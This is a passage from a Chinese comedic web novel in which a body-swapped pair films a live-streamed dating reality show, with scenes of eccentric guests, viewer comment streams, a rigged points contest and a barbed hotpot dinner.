害怕打扰到二人世界,陆嘉泽拍拍屁股准备跑路,只留下一句意味不明的话:“老板,那啥,你要是不够用的话,袋子里还有。” “什么玩意儿?” 乔缨回到屋内,一头雾水地打开纸袋。 几盒计生用品就这样大剌剌地躺在里面,透明的包装胶袋反射着她无语至极的脸。 这辈子都用不着。 她随意地把东西扔进床头柜里,洗完澡换好衣服,掐着点打开电视,抓了几包薯片零食,窝在沙发上燥候。 根据惯例,参加恋综的明星要上交自己的全部电子设备,而节目组发放的手机里面只有一个恋综专用的app。 它像是微信和约会软件的结合体,第一次约会的方式是在app里进行匿名匹配,嘉宾只知道对方的id名,每个人发消息的权限只有三条,后期会根据好感度逐步解锁。 既然要演尖酸刻薄的万人嫌,乔缨特意嘱咐过裴砚知,让他取一个符合角色设定的昵称,一定要取得威武霸气一点,最好一看就不好惹的那种。 也不知道裴砚知会取什么名字。 乔缨吃着薯片,和万千观众一起摩拳擦掌地盯着直播画面。 下午五点半,《怦然心动的那天》先导片正式开播,现场的李导将镜头对准了嘉宾出机场的通道。 镜头中,很快出现了第一个人,是个路人美女。 南岛气温较高,优雅的女子穿着优雅的白色法式连衣裙优雅地路过,一头时髦的碎卷发在阳光下闪着柔光。 弹幕瞬间开始舔屏: 【紫啧~】 【我原本是打算长这样的。】 【在吗?认识一下,我是女的。】 【没发出去吗?我说我是女的。】 【我滴妈,你是要美死我这个188男的很帅土象圈子小三观正会哄你偶尔会有点小脾气吵架会低头的北京少爷吗?】 可下一秒,优雅的美女突然动了。 她摧枯拉朽般开始了狂奔,脚上十厘米的高跟鞋丝毫没有影响到她的速度,她越跑越快越跑越快,竟隐隐有腾空而飞之势。 刺眼的阳光让眼前的一切变得不真切起来。 乔缨怀疑自己已经死了,不然她为何会看到这幅地狱绘卷一般的画面。 白炽灯将女子的影子拉长,她如同疯牛一般朝机场大厅的另一头奔去,脸上的表情亦是惊惧交加。 活脱脱一副恐怖片里受到惊吓而死的炮灰神色。 女子一边跑一边朝身后崩溃大喊: “你为什么要追我!” 李导惊悚地调转着镜头,和直播间的众人顺着法式美女的视线呆滞看去。 首先出现在视野里的,是一顶别着五颜六色发卡的假发,从高度和厚度判断,戴它的人大概在里面藏了架武装直升机。 再往下看,厚厚的斜刘海下是一只画着全包眼线的大眼睛,布灵布灵闪着光芒,故意嘟起来的嘴巴也俏皮可爱。 就是颜色看起来有点像菌子吃多了。 绝对是中毒了,没开玩笑。 只见她一边迈着内八字的脚,一边用手指尖尖提拎着什么东西,紧追不舍地跟在法式美女身后,语气焦急:“美女,美女你等等!你的耳环掉了!” 顿时,整个弹幕都炸了: 【今年几几年来着,我穿越了?】 【头皮好痒……要长刘海了……】 【茹粿嗳,请深嗳,茹卟嗳,请漓开】 【畱着頭潑莈琺養沵,彅鋽頭潑莈琺嬡沵。】 【想咋滴,这弹幕比英语字幕还难懂???】 【救命,DNA动了,脑子里已经有BGM了。】 【这非主流人还怪好的嘞。】 有人忽然瞧出了端倪,不确定地问: 【看起来好眼熟,她是不是节目嘉宾?叫什么来着?】 【吴笑希?怪不得打扮成这样,她以前可是个谐星啊哈哈哈哈哈。】 【还是糊咖豁得出去,这在恋综里直接丧失择偶权了吧?】 而屏幕外的李导则是大惊失色,被震在原地半晌。 啪嗒,啪嗒。 一行清泪突兀地从她脸上划过。 直播间的观众讨论得正热闹,李导忽然泪流满面地举起了话筒,愤怒道:“看到弹幕里有很多粉儿说那是非主流,我心里咯噔一声。” “您,是怎么想的呢?” “非主流也是你能直呼其名的?那明明是我逝去的青春,是姆们心中最柔软的地方。” “请您尊称我们一声杀马特。” 恍惚间,李导好像忽然回到了二十岁那年。 那时,连相恋五年的男友都从来没见过她的右脸。 她含着泪水在弹幕框激情输入: 【初听还是斜刘海,再见已成地中海。】 【慬沵锝,芣怭解释,芣慬沵嘚,哬怭解释。】 【谁的青春回来了?谁的青春结束了?】 有人立即答: 【我只知道,再在这个b直播间待下去,我廉价的生命就要结束了!】 — 法式美女已经驾着高跟鞋西去,一溜烟跑得没影儿了。 吴笑 希捏着她掉下来的一只耳环,站在原地发愣。 你搁这玩神庙逃亡呢? 美女你好像那个穿着高跟鞋吃钻石的游戏人物。 她无奈地把耳环交给工作人员,正要转身离开时,忽然感受到了后脑勺有一道过分炽热的视线,心中顿时一喜。 和弹幕里说的一样,公司给她的定位是搞笑女,因为外形条件不够出色,她在大银幕上时常以扮丑的形象出现,成为人群中那个被奚落嘲讽,还不得不傻呵呵笑脸以对的角色。 与圈内精致的女明星相比,吴笑希的确长得平平无奇,身材更是一塌糊涂,和明星们一起拍背影照时,其他女孩都是风情万种婀娜多姿,只有她一个人像大熊猫和花。 吴笑希知道,这次《怦然心动的那天》节目组找上她,依旧只是想让她卖丑做搞笑担当,但她还是为此减了一个月的肥,饿了就扇嘴。 虽然衣服还是XL,但人已经变成M了。 而她之所以打扮成这样,也是因为她明白自己只是个陪衬的炮灰,想要热度,就只能在节目组有限的镜头里尽量多吸引眼球搏出位。 不过抛开事实不谈,有一说一,不吹不黑,她都已经打扮成这幅鬼样子了,居然还有人认出她,是不是说明效果还不错? 想到这里,吴笑希用余光悄悄朝视线投来的方向看了一眼,果然看见了几个扛着摄像头的工作人员,其中一个还哭得嗷嗷的。 不至于吧,看到她有那么激动吗? 吴笑希暗笑一声,低下头伸出衣袖捂着嘴,迈起内八小碎步偷偷往镜头跟前挪去。 工作人员立即围了上来,正当她都快站到李导脸上时,突然猛地抬起了头。 吴笑希仿佛才发现镜头似的羞涩一笑,手做成拳头状捂住嘴角,抱赧地舔了下嘴唇,呲个大牙花,然后向后捋了一把堪比三级头的假发。 很忙,但不知道在忙什么,有点像韩女四点钟起床自律vlog。 直播间的弹幕刷新得飞快: 【太好了,是秀才的弟弟官才,我们没救了!】 【希,换条赛道卷吧,我看你挺有天赋的。】 【阴成啥样了,看得我一肚子无名火。】 【有种在春晚看过时烂梗的感觉。】 镜头里,吴笑希又是一抹头,然后羞涩地伸出一只手比了个心,终于把一直呲着的大牙花收了进去。 她正打算清唱一曲《兰亭序》时,好不容易露出的左眼忽然瞥到一个人影,瞪大了眼睛,顿时卡了壳。 完了,劲敌来了。 吴笑希暗自咬牙。 几步之外,同为搞笑担当的江简哲冷冷一笑。 他梳着斜刘海,上半身一件经典款拼接蓝色棉衣,下半身一条皱皱巴巴的紧身牛仔裤,手上提着个红色礼品袋,捻起兰花指,迈着窝囊步,朝着镜头后的李导扭扭捏捏一笑。 “在家剥罗森呢大娘?” 李导两眼一翻,差点晕过去,感觉做完这场直播自己得报工伤。 和李导打完招呼,江简哲不知从哪里掏出来一个小蜜蜂,仿佛才发现吴笑希似的,斜嘴粲笑:“是我冒味了,没看见姑娘在此,幸会幸会。” “冒昧,不是冒味,你这样还怎么当别人的rubbish。” 吴笑希“嘁”了一声,鄙夷道:“真是和你尿不到一个壶里,怪咖。” “我知道你挺高清,但你也不用这样嘟嘟逼人吧?小生是一个瑕疵必报的人,奉劝姑娘得挠人处且挠人。” 江简哲不满地拔高了音量,看到周围的人都捂住了耳朵,方才疑惑地问道:“我的麦很炸吗?” 殊不知,在他的魔法攻击下,直播间的人都快疯了: 【再吵记名字了!】 【突然发现我还有一个耳根清净的朋友。】 【给我笑得五谷轮回之物尽数喷洒而出。】 【改名叫《怦然心塞的那天》算了。】 【啊啊啊有种被陌生人闯进家里拉了泡屎就逃走的感觉。】 【他俩光是站在那就让老子火冒三丈。】 两个人刚出场不到五分钟,几个丝滑连招,整出来的狠活却是一个比一个抽象。 节目组适时把江简哲和吴笑希在恋综app里的昵称打在了屏幕上。 居然一个叫【哄你】,一个叫【软糖】。 我勒个极品二字id啊。 又过了几分钟,裴砚知穿着一身黑色西装出现在镜头里,乌黑长发被一丝不苟地梳在脑后,鼻梁上还架着一副黑框眼镜。 直播间的观众盼星星盼月亮,终于盼来个正常人,顿时哭天抢地: 【洗眼液来了,洗眼液真的来了!】 【路上遇到这种根本不敢看,一头扎绿化带里狂笑。】 【她是office siren,我是办公室死人。】 【就以乔缨的情商,能混娱乐圈纯粹是长得有点实力。】 【好诡秘答应我别买卫衣了好吗?】 【相府嫡女天生痴傻,备受欺凌,前夫退婚、庶姐阴险,姨娘虐待,爹爹抛弃,最终死在族人之手,好惨一女的!重生归来,留下神秘纸条,打开其中赫然写着:老婆我爱你。】 乔缨看得津津有味,给弹幕挨个点了赞,忍不住开始猜测裴砚知会按照自己的嘱咐取个什么样的名字。 【长矛沾屎】太普遍,【爷傲奈我何】太狂气,【杀人女魔头】又有点少儿不宜。 她咬着薯片,压住内心的激动,期待地看着裴砚知的头顶。 半秒后,只见他头上忽然亮起一行炫彩夺目的七色闪光大字: 【血殇·女帝】 乔缨:“……” 好想死,真的,好想死。 薯片撒了一地,她抱着头无声尖叫,跟个见光死的吸血鬼一样在沙发上蒙头打滚。 而直播间的弹幕,正以火箭般的速度刷新着: 【疯了,全疯了。】 【家里不乱的可以把这仨带回去添乱。】 【有种狗仔爆料国民度超高男星隐婚生子,结果告诉我是六小龄童的美。】 【感觉乔缨从上到下都透着一种魅,你要说是什么魅,那就是魅有脑子。】 而屏幕内的裴砚知还不知道自己在网上随手找的ID名掀起了怎样的轩然大波,两手插兜,依旧是一翻云淡风轻的强者模样。 正要迈步向节目组走去时,段羡秋却不知道什么时候冒了出来。 他站在裴砚知的斜后方,用双手比了个爱心,脸上笑出褶子,亲昵喊道:“小肉猪,回头。” 裴砚知身体一僵,后背迅速窜起一阵恶寒。 不儿,这该不会是在叫他吧? 见对方没反应,段羡秋几步跨到他面前,拿起一罐汽水贴在脸颊上,语气活泼道:“你看我像不像这瓶可乐,一看到你就开心得冒泡?” 认出来他是谁后,裴砚知冷笑两声,毫不留情地说:“你像洁厕灵,我一看见就想拿马桶搋子捅咕几下。” 这边的事情还没解决完,一个外卖骑手又忽然出现在眼前。 他把手里的奶茶往裴砚知身上一递,结结巴巴开口:“那个……沈、沈……算了,你自己看吧。” 骑手深吸一口气,向他展示了一段聊天记录: 【京市第一深情:到了请跟她说,沈先生很爱她。】 【骑手王子龙:我说不出口。】 裴砚知无语至极地抬起头,骑手被他看得心里发慌,一溜烟地跑走了。 不远处,沈颐出现在了通道口,他手里装模作样捧着一本书,实则眼镜片上的反光早已暴露出了他藏在书里的手机。 沈颐打开外卖软件,焦急询问: 【京市第一深情:你和她说了吗?她什么反应?】 那边回得很快: 【骑手王子龙:没……没什么反应。】 怎么可能? 沈颐不信,脸部逐渐红温,原地破防: 【京市第一深情:你确定?】 【京市第一深情:我对 她都这么好了,你确定她没反应?】 【京市第一深情:喂,你不会根本就没说吧?】 【京市第一深情:就你还骑手王子呢,我要投诉!】 外卖员也急眼了,连声咒骂: 【骑手王子龙:我******】 【骑手王子龙:点个拼好饭就想追女人?】 【骑手王子龙:回家吧好不好,回家吧,你比较适合做一滩狗屎,比较适合做一头猪。】 “操!” 沈颐被气得肝疼,无能狂怒地踢了一脚垃圾桶,差点被安保人员打包扔出机场,节目组好说歹说才把人给保下来。 又过了几分钟,阮绵绵和最后一位女嘉宾周悦甜手挽手姗姗来迟,身后还跟着一个何孟理。 何孟理大爷似的背着手,仿佛领导视察工作般仔细端详着机场设施,啧啧几声,拦住一旁地勤人员就开始说教:“你们这个机场设计得不合理,我教教你,应该这样……” 地勤的嘴角挂着尴尬而不失礼貌的微笑,不动声色地往后退了退,耐心答道:“是的呢,您说的都对。” 因为提出的建议太过外行和离谱,原本想立个博学人设的何孟理完全没想到自己一出场就翻了车。 弹幕忍不住嘲讽: 【经意间未封神名场面+1】 【何孟理出生时:医生你刚刚接生的手法不太对。】 【“样样通,样样松”的含金量还在上升。】 喋喋不休的何孟理太过聒噪,吵得裴砚知头疼。 他面无表情地盯着何孟理,将被纠缠的地勤挡在身后,淡淡道:“你装完了吗?” 何孟理立即瞪大眼睛,不可思议地看着裴砚知。 习惯了恭维,他完全无法理解一个女明星竟敢这么不给自己面子。 他颤抖着嘴唇,气愤地一昂脖子,怒斥:“大胆!我可是演员协会的主任!” 裴砚知嗤笑:“主任?自封的官不小啊。” 和这边剑拔弩张的气氛不同,整完活的江简哲已经尽职尽责开始了社交。 他凑到段羡秋身边,猝不及防问道:“你知道LGBT吗?” 段羡秋一惊:“呃……知道啊,怎么了?” 江简哲眉头一挑,明显来了兴趣:“那你有测过吗?” 段羡秋迟疑:“这需要测?” “不测怎么知道呢?”江简哲惊讶。 段羡秋愈发迷惑了:“这玩意儿不是天生的吗?” 江简哲摸摸下巴,思忖道:“嗯,基本上是天生的吧,但其实也会变。” 段羡秋了然地拍拍他的肩,佩服道:“兄弟,你懂得还挺多。” 江简哲神神秘秘地压低了声音:“你不想知道我的测试结果吗?” 这是可以说的吗? 段羡秋紧张地咽了口口水:“所以你是?” 江简哲胸脯一挺,吐出四个字母:“ENFP!” 听完两人对话的裴砚知闭了闭眼,忽然明白了出门前乔缨那段话的含义。 男一段羡秋是个神经病,男二江简哲是个神经病,男三何孟理是个神经病,男四沈颐还是个神经病。 和这群神经病一起录综艺真的没问题吗? 这恋综应该改名叫《飞越疯人院》才对吧? 正在此时,一直安安静静没有作妖的阮绵绵迈着轻快的步子来到了镜头前,手里还捏着一个本子。 “导演,我捡到了一本元旦作业。” 阮绵绵娇俏地翻开封面,捂嘴偷笑:“哎呀,我来看看名字。” 两秒后,她对着镜头眨眨眼,语气调皮道:“秦朗小朋友,你作业掉了哦。” 第73章 第七十三章 你最适合的医美是斩首 紧接着, 团队买的热搜也空降到第一,#阮绵绵机场捡作业#、#秦朗小朋友你作业掉了#的话题下涌入了大量的吃瓜网友。 小学生丢作业成年人帮忙送回是互联网流量文学里经久不衰的段子,阮绵绵这一出对费尽心思搞笑的吴笑希和江简哲来说简直是降维打击。 现在所有的话题热度都被她抢走, 连带着官方媒体都开始转载,引起热议。 直播间里也是一片哈哈哈的水军弹幕: 【哈哈哈哈哈你们这个节目也太有效果了吧!】 【秦朗:谁来为我发声!】 【我们绵绵真是人美心善, 自带流量,天生做明星的料啊!】 【假假的, 剧本痕迹好重。】 【楼上不要酸了, 不就是你主子的风头被抢了吗,别太恨我女。】 现场的明星个个都是人精,谁不知道这是团队策划的假事件,但在节目里又不好直接戳破,只能假惺惺地跟着起哄。 周悦甜亲热地挽着阮绵绵的胳膊, 悄悄弯起了唇角, 眼里闪过一丝得意的神色。 在娱乐圈,有后台才是最重要的, 黑料根本无所谓。 她知道阮绵绵的经纪公司跟电视台有资源置换,就算换了个制作人也不影响节目组主捧的地位。 为此, 周悦甜还特意在登机口逗留了半天, 守着阮绵绵假装偶遇,一番巴结讨好, 想事先和她打好关系。 功夫不负有心人,现在还真让她蹭上了热度。 周悦甜一把夺过作业本, 对着镜头狡黠地眨眨眼:“一年级八班的秦朗小朋友, 不要怪姐姐,我们因为淋过雨,所以想为你撑伞呢。” 【欺负小学生, 好可恶的成年人。】 【原来周悦甜性格这么好啊哈哈哈,以前怎么没发现她还是个搞笑女。】 【啊啊啊啊终于有人发现了周悦甜,宝藏女孩入股不亏!】 【周悦甜和阮绵绵看起来关系真好,但我记得她俩以前不是在红毯上撞过衫吗?】 【别雌竞了,正主都没说什么,你一个丫鬟急什么急?】 骤然被抢走戏份,阮绵绵脸上的笑僵了一瞬,胳膊往外一抽,从周悦甜的禁锢中脱身而去,退到一旁,皮笑肉不笑。 她和周悦甜外形相似,那次红毯撞衫,本就是周悦甜的团队买通了她的造型师故意而为之的。 还没等她发火,周悦甜买的热搜词条直接先斩后奏地把她架了起来,什么#愚者比较,智者欣赏#,让她不得不吃下这个哑巴亏。 当时她还没搭上沈颐资源起飞,所以这笔账阮绵绵一直记在心里。 如今地位颠倒,周悦甜开始摇尾乞怜地套近乎,她只想报以一声嗤笑。 察觉到身旁一空,周悦甜顿觉自己太过得意忘形了,连忙找补地问:“绵绵今天的穿搭好特别,是哪个牌子的小裙子呀?” 阮绵绵呵呵一笑:“我没有义务分享呢。” 果然是生气了。 周悦甜苦笑,将姿态放得更低,低三下四地问:“绵绵,听说你被上一个助理背刺了,现在怎么样了?心情还好吗?” 因为没收了手机,阮绵绵还不知道粉丝捅人的通稿已经开始发酵,立马顺竿子爬,一脸苦恼地回答:“唉,我曾经对娇娇真的很好,各种衣服包包随便送,有时还亲手给她做饭吃,没想到她离职后却到处说我把她当狗一样使唤,受了很多委屈,真是感叹世态炎凉。” 周悦甜和她一唱一和,惊讶道:“怎么会?你可是业内出了名的对助理好,这个娇娇也太没良心了吧?” “不怪她,都怪我自己,怪我太过天真,容易相信不该信的人。” 阮绵绵叹了口气,像朵小白花一样故作坚强地握握拳头,道:“悦甜,我们以后一定要善良,让自己越来越厉害,不要让别人来伤害我们了,fighting!” 说罢,她还嫌没过完戏瘾,想起林娇娇的现任老板就站在她身后,开始语重心长地劝说:“乔缨姐姐,艺人工作室又不是垃圾回收站,不忠心的助理可不能要……” 阮绵绵噼里啪啦说了一大堆,半晌没听到身后的动静,还以为乔缨是被她震住了,轻笑着转过了身。 可现场哪里还有乔缨的影子。 阮绵绵错愕地看向前方,只见那 道修长人影头也不回地迈进了商务车里,连个眼神都没给自己。 不行,乔缨可是要在综艺里衬托她的恶毒女配,不能让她就这么走了。 阮绵绵眼睛珠子一转,一把扯住周悦甜的手,也跟着挤上了商务车。 她假笑着问:“乔缨姐,你怎么不等我们啊?刚刚说的话你都没听见吧?” 直播间的水军也跟着打抱不平: 【对啊,乔缨怎么一点集体观念都没有。】 【装都不装了,知道她和阮绵绵关系不好,但也不用在节目里甩脸子吧?】 【我们绵绵就是人太好了,才被她这么欺负。】 而乔缨的粉丝则选择化身应声虫,一排一排刷着屏,把水军弹幕顶了下去: 【那咋了,我对我讨厌的人就这样。】 【那咋了,我对我讨厌的人就这样。】 【那咋了,我对我讨厌的人就这样。】 …… “你们站在原地一动不动,嘴皮子倒是翻得飞快,我还以为你俩入定了在念经呢。” 坐在后座的裴砚知撩起眼皮,疑惑地看着两人,语气戏谑:“看你这表情,又是在说谁的坏话想让我听见呢?” “我没有……” 阮绵绵涨红了脸,小声辩解,却被周悦甜一把拦下,顺势拉着她进了车里。 两人坐在裴砚知的前方,周悦甜用不大不小的声音刻意说道:“绵绵我告诉你,人无癖不可交,我就喜欢有一点瑕疵的人,如果人人性格都完美,这不好玩,也没意思。” 裴砚知嗤了一声:“文盲。” 【乔缨怎么说话呢,怎么还带人身攻击的?】 【不是,本来就是文盲啊,“人无癖不可交”的癖是癖好的意思吧?】 【入定了在念经……我姐怎么连骂人都这么搞笑……】 【难评,她俩这是在演什么,咋就自顾自地安慰上了?】 【嘁,全自动卖惨一体机。】 【最新消息,阮绵绵的男粉把她前助理捅进医院被抓了,助理说明天要放锤!】 【燥候。】 因为其他几个陪衬都在另一辆车里,没有吴笑希和江简哲活跃气氛,车内一时陷入了沉默。 刚抽完烟的沈颐终于姗姗来迟,在工作人员的指引下拉开了车门,带着一身的烟臭味挤了进来。 他扫了一眼前排座位上的两人,在阮绵绵期待的眼神里,朝裴砚知旁边的空位走去。 阮绵绵颓然垂下眼睛,不满地绞紧了裙角。 当初和节目组谈条件时,她宁愿只拿一半的通告费也要把沈颐塞进来和自己一起上节目,甚至还特意签了炒cp的协议,为的不就是能光明正大地谈恋爱吗? 可哪成想周悦甜居然这么没眼力见,不仅把沈颐哥哥的位置占了,还丝毫没有挪开的自觉。 想着想着,阮绵绵忽然一顿,内心涌现出一个大胆的猜测。 周悦甜不会也是冲着沈颐来的吧? 一定是了,她就是故意坐在自己身边的,而且刚刚那番话看似是安慰,实则是抢着把帽子扣在了她头上,真是好重的心机。 还在思考着怎么巴结阮绵绵的周悦甜,浑然不觉自己已经被划入了恶毒女配的阵营,正放空大脑盯着窗外的晚霞。 而沈颐现在也浑身不自在。 黄富贵不喜欢不干净的男人,知道他要上恋综后发了好大一通脾气。 他只好当场发誓,宣称自己只是和这些女明星逢场作戏,好说歹说才把人给哄好。 沈颐现在像个失败了想东山再起结果走向西天的人。 一边是黄富贵的威逼利诱,一边是沈万钧要求他追回乔缨,一边还要按照剧本和阮绵绵搞暧昧,一个头有两个大。 他惆怅地弯下身子,可屁股刚一碰到座垫,身旁的人忽然捂住了鼻子,一言不发地下了车,坐上副驾。 司机满头大汗地问:“那个……出什么事了吗?” “没什么。” 裴砚知系上安全带,面无表情道:“一身烟味,臭死了。” — 南岛是一座海滨小城,作为恋综的第一站,节目组特意在海边租下了一栋自带私人沙滩的豪华别墅。 吴笑希气喘吁吁地拖着行李箱来到院子前,用手使劲推了推雕花的栅栏门,纹丝不动。 “怎么回事?找错地方了?” 她疑惑地看了一眼门牌号,让一旁的江简哲给她搭把手:“没错啊,我们一起推试试,看能不能推开。” 江简哲两手抱胸,跟没听到似的转过了头,明摆着一点活都不想干。 爹的,巨婴。 吴笑希翻了个白眼,正打算暴/力/开锁时,几个工作人员连忙上来拦住了她。 节目的PD走了出来,手上拿着两张积分表,开始宣布规则:“看到我手上的两张表了吗?它们一张是男子力,一张是女子力,这次我们将根据积分排名确定选房间的顺序,大家请加油吧!” 话音未落,那道怎么都打不开的院门自动向内弹开,车库旁有一间被改造成电玩城的仓库,里面满满当当地放着各种器材。 一边摆着投篮机和打拳机,而另一边则放着一台体重秤,以及一堵挖了几条细缝的墙,从“肥胖”到“女神”,上面按照越缩越小的距离一一挂着评判语。 弹幕察觉出来不对劲,忍不住吐槽: 【这也太刻板印象了吧?】 【节目组好恶臭的价值观,懒得喷。】 【什么女子力男子力,导演是日本人吧?】 因为节目组是为阮绵绵和沈颐量身打造的剧本,所以提前和两人通过气,选的都是他们擅长的项目。 男嘉宾很快就比完了,因为沈颐是最后一个上场的,节目组在休息的间隙偷偷将器材的数值调高,一番暗箱操作下,积分第一的人毫无悬念成了沈颐。 而阮绵绵则是在场的女星中体型最小的人,很轻松的就通过了挑战,赋完分后暂列第二,和她身材相似的周悦甜则紧随其后。 两人亲亲热热地拉着手,站在一旁看好戏。 现场只剩下吴笑希和乔缨,一个太胖,一个太高,绝不可能超过她们两人的排名,甚至还有可能是倒数。 六双眼睛的注视下,吴笑希紧张地舔了舔嘴唇,和裴砚知商量道:“那、那个,你先去还是我先去?” 听到这话,江简哲立即吊儿郎当地开口嘲笑:“别谦让了,你长得跟个树墩子一样,就老老实实拿倒数第一吧。” “吵死了,阉鸡。” 裴砚知冷飕飕地扫他一眼,然后对吴笑希说:“一起去。” 怎么个一起去法?体重秤会被踩坏吧? 吴笑希傻眼,正在她愣神之际,却眼睁睁看着面前的女人拐了个弯,走到了打拳机前。 收腰,提胯,挥拳。 一套动作行云流水,破风的拳头不仅震慑住了在场的人,连直播间的观众都听到了那道令人胆战的声响。 【我去,俄式大摆拳!】 【不敢想象这一拳打在我身上我能碎成几截。】 【江简哲:已老实,求放过。】 【女人中的女人,雌性中的雌性,太娘们儿了。】 万籁俱寂中,机器的液晶屏上,999的数值鲜红一片,尤为显眼。 回过神后,沈颐立马指着那几道竖缝,提出质疑:“你该去的地方是那边,懂不懂什么叫女子力?你该比的不是拳击。” “谁规定的?你吗?” 裴砚知擦擦手,抄起一旁的篮球投入框中。 在暗改过移动模式的机器上,拿高分简直易如反掌。 有他开了头,吴笑希仿佛打开了新世界的大门,一拳头挥向沙包。 裴砚知赞许地挑挑眉,指了指江简哲,认真道:“下次他再嘴贱,你就用这个力度扇他,懂 了吗?” 吴笑希眼睛亮晶晶的,用力点头:“懂了!” 被cue的江简哲缩缩脖子,莫名觉得脸上一阵幻痛。 在两人出其不意的骚操作下,积分排名重新洗牌,一越登上了第一第二的宝座。 裴砚知选了顶楼自带露台花园的大平层,不为别的,纯粹是因为安静,没有人打扰。 他提着行李箱,没再管其他人是什么反应,直接从内部电梯上了楼。 而看到这样的结果,沈颐的脸上顿时有些挂不住。 他揪住PD一个劲地问:“她们这样真的不算是钻空子吗?” PD尴尬地挠挠头,嗫嚅道:“这个,这个规则本来也没说她们不能去是不是……” 因为乔缨,段羡秋本来就和沈颐不对付,这下也踱过来暗戳戳地倒油:“对啊沈老师,别纠结了,连两个女孩子都比不过,你该好好反省一下了。” “你不也一样!” 沈颐剜他一眼,段羡秋打着哈哈,犯完贱就跑回了房间内。 节目组给了半个小时的休整时间,在此期间渐入了片头画面,又插入了几条广告,终于按照排名开始对嘉宾进行统一的介绍。 几张恋综app的个人资料截图显示在大屏幕上: 【乔缨 【ID名:血殇·女帝 【人物标签:少男杀手 【标签备注:在电影里杀了很多少男】 【吴笑希 【ID名:软糖 【人物标签:白瘦幼 【标签备注:白痴幼稚受不了一切】 【沈颐 【ID名:根本你不懂得不懂得爱我 【人物标签:纯爱战士 【标签备注:为爱冲锋的勇士】 【阮绵绵 【ID名:小猫睡不着 【人物标签:愿得一人心 【标签备注:S先生,余生请多指教】 【周悦甜 【ID名:草莓蛋糕 【人物标签:松弛随性 【标签备注:喜欢和香香软软的女孩子们贴贴】 【段羡秋 【ID名:断桥残雪 【人物标签:胆小专一又深情 【标签备注:只敢在喝醉时偷偷说爱你】 【江简哲 【ID名:哄你 【人物标签:好奇宝宝 【标签备注:我爸叫江好奇】 【何孟理 【ID名:做个俗人,贪财好色 【人物标签:摄证王 【标签备注:考遍了所有能考的证书】 大屏幕上的弹幕不断滚动,开始拉郎配嗑起了cp: 【卧槽,S先生?是我想的那个吗?】 【感觉搞笑line好般配啊,连昵称都是情侣id。】 【哪儿配了?江简哲这种嘴贱男有多远滚多远,别来沾边。】 【段羡秋居然叫这个名字,这直接明牌了吧?段乔残雪是他和乔缨的cp名啊!】 【啊啊啊啊你们看到刚刚乔缨打拳时段羡秋的眼神了吗?好宠溺!】 【乔缨一拳能让老人孩子先飞,你确定那是宠溺不是恐惧?】 【跟了乔缨也算是傍上豪门了吧?死小子吃得真好。】 半个小时后,时间正好到下午六点半,一行人在一楼客厅集合,准备开始做晚饭。 吴笑希和裴砚知一踏进客厅,爹味十足的何孟理就突然对两人发难:“小吴和小乔来了啊?我看你俩占了最好的两个房间,要不然今天的晚饭就你们两个人来做吧?” 耿耿于怀的沈颐也跟着帮腔:“就是就是,我们让你俩得了第一,怎么也得犒劳犒劳我们吧?” 吴笑希震惊于两人的厚脸皮,诧异道:“说的什么猪话,名次是我们自己赢的,又关你们啥事了?” 裴砚知像看傻逼一样看着两人,真心实意地问:“你们能独立自主说出超过二十个字且逻辑清晰的话吗?逻辑学入过门没有?大脑前额叶皮层发育完全了吗?” 神出鬼没的段羡秋不知从哪冒了出来,依旧用开玩笑的语气说着最扎心的实话:“技不如人还斤斤计较,啧啧啧,气量太小了,这可不行啊沈老师。” 眼见着亲亲老公被围攻了,阮绵绵立即走出来维护自家人,笑着打圆场:“哎呀,孟理哥哥和沈颐哥哥也是想和你们开个玩笑嘛,不要太严肃了,大家都没有恶意的。” 气氛到这儿,裴砚知已经和恶毒女配的角色融为一体,冷冷开口:“哥哥哥哥的,是要下蛋吗?需要你来当好人和稀泥?” 作为一个严谨的人,他做事的风格更偏向于当场把事情捋清楚,然后解决掉,不给任何人糊弄的机会。 对就是对,错就是错,这又不是在管理公司,还需要考虑各种人情世故的因素。 这方面他和乔缨的观点非常一致,对他们来说,不能当场报的仇都叫无效报仇。 “这个玩笑不好笑。” 他盯着被阮绵绵三言两语轻轻放过的男人们,薄唇吐出两个字:“道歉。” 空气凝滞了下来,客厅落针可闻。 何孟理和沈颐对视一眼,明白以乔缨睚眦必报的性格,再犟下去对自己的形象没有任何好处,只能不情不愿地开口道歉。 “对不起。” 吴笑希觑着眼睛,傲娇地哼了一声:“我接受了。” 【紫啧,好帅,想嫁。】 【不敢想和乔缨当闺蜜有多爽。】 【干得漂亮,男的就是爱蹬鼻子上脸,才第一天就想PUA女嘉宾,这下翻车了吧?】 【阮绵绵好惨,明明是来拉架的,没想到无缘无故被乔缨骂了一顿。】 【她那是在拉架吗?我都不好意思点破。】 【段羡秋在帮乔缨说话诶,又给我嗑到了。】 【段乔残雪姐留下一串神秘数字。】 【99。】 经过这段插曲,再没有人提起让谁做饭的话题,一番商量后,将晚餐定为不需要任何厨艺的火锅。 经过抽签,将八人分成了两组,一组负责采买食材,一组负责刷锅洗碗。 被分到采买组的江简哲在出门前一秒说自己肚子疼,在卫生间躲了近一个小时,等采买的人都回家后才慢悠悠地晃了出来。 裴砚知打开一罐香油,见他捧着个空碗不想干活的样子,嘲讽道:“呦,这植物人抱着个钵就出来化缘了。” 吴笑希噗嗤一笑,经过刚刚的事件,她对乔缨亲近了不少,也发觉她并不像传闻中的那么不好相处。 倒不如说,和恋综里的其他人相比,她简直正常得像个异类。 红油滚滚,裴砚知专心致志地吃着,嘴唇逐渐红润起来。 刚被他训过一顿的江简哲忿忿不平地往嘴里塞着肉,想了想还是咽不下这口气,故意大声道:“乔缨姐看起来气色真好,最近是做了什么医美项目吗?能不能给我推荐一下?” “你最适合的医美项目是斩首。” 裴砚知放下筷子,慢条斯理地擦擦嘴。 江简哲的脸上青一阵白一阵,坐在他身旁的何孟理拍案而起,严厉呵斥:“喂,你这话也太过分了吧?小江不过就是问问罢了。” “你这种适合日一声打碎成猪食喂猪。” 裴砚知气定神闲地抬起头,眼神挑衅。 吴笑希惊愕地咬住毛肚,再度被他刷新了世界观。 难怪人家能拿恶毒女配的剧本呢,一开口,那刻薄的语言就像开了免密支付,不用使劲就淡淡地说出来了。 何孟理被气得笑了,坐回椅子,又换了副敦厚的面孔。 他拉长了语调,好为人师地说:“乔小姐活得太累了,牺牲自己的青春,牺牲自己的健康,只为了莫须有的光环和内心的虚荣,值得吗?” “我卡里有几个亿,你呢?” 裴砚知礼貌微笑,瞬间让何孟理闭了嘴。 一顿饭吃得火药味十足,裴砚知不仅全方位立住了刻薄不好惹的人设,甚至每一句语出惊人的话都登上了热搜,被网友整理成骂人语录,逐字学习。 夜幕降临,一轮残阳坠入海平面。 